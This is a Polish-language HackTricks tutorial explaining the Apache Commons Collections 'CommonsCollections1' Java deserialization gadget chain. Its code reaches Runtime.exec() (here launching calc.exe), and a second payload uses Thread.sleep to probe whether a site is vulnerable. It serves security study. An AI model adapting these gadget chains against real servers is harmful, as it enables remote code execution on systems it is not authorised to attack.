CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Support HackTricks

Java Transformers to Rutime exec()

W kilku miejscach można znaleźć ładunek deserializacji java, który wykorzystuje transformery z Apache common collections, jak poniższy:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Jeśli nie wiesz nic o ładunkach deserializacji w javie, może być trudno zrozumieć, dlaczego ten kod wykona kalkulator.

Przede wszystkim musisz wiedzieć, że Transformer w Javie to coś, co otrzymuje klasę i przekształca ją w inną. Również interesujące jest to, że ładunek będący wykonywany tutaj jest równoważny:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Lub dokładniej, to co zostanie wykonane na końcu to:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Jak

Więc, jak pierwszy ładunek jest przedstawiony jako równoważny tym "prostym" jednowierszom?

Po pierwsze, możesz zauważyć w ładunku, że tworzony jest łańcuch (tablica) transformacji:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Jeśli przeczytasz kod, zauważysz, że jeśli w jakiś sposób połączysz transformację tablicy, będziesz mógł wykonać dowolne polecenia.

Więc, jak te transformacje są łączone?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

W ostatniej sekcji ładunku możesz zobaczyć, że obiekt Map jest tworzony. Następnie funkcja decorate jest wykonywana z LazyMap z obiektem mapy i połączonymi transformerami. Z poniższego kodu możesz zobaczyć, że spowoduje to skopiowanie połączonych transformerów wewnątrz atrybutu lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

A następnie wykonywane jest wielkie zakończenie: lazyMap.get("anything");

To jest kod funkcji get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

A oto kod funkcji transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Więc pamiętaj, że wewnątrz factory zapisaliśmy chainedTransformer, a w funkcji transform przechodzimy przez wszystkie te połączone transformery i wykonujemy je jeden po drugim. Zabawne jest to, że każdy transformer używa object jako wejścia, a object jest wynikiem ostatniego wykonanego transformera. Dlatego wszystkie transformacje są połączone, wykonując złośliwy ładunek.

Podsumowanie

Na końcu, z powodu tego, jak lazyMap zarządza połączonymi transformerami wewnątrz metody get, jest to tak, jakbyśmy wykonywali następujący kod:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Note, że value jest wejściem każdego transformera i wyjściem poprzedniego transformera, co pozwala na wykonanie jednego wiersza:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Zauważ, że tutaj wyjaśniono gadżety używane do ładunku ComonsCollections1. Ale pozostawiono jak to wszystko zaczyna się wykonywać. Możesz zobaczyć tutaj, że ysoserial, aby wykonać ten ładunek, używa obiektu AnnotationInvocationHandler, ponieważ gdy ten obiekt zostanie deserializowany, wywoła funkcję payload.get(), która wykona cały ładunek.

Java Thread Sleep

Ten ładunek może być przydatny do zidentyfikowania, czy strona jest podatna, ponieważ wykona opóźnienie, jeśli tak jest.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Więcej Gadżetów

Możesz znaleźć więcej gadżetów tutaj: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Wsparcie dla HackTricks

Last updated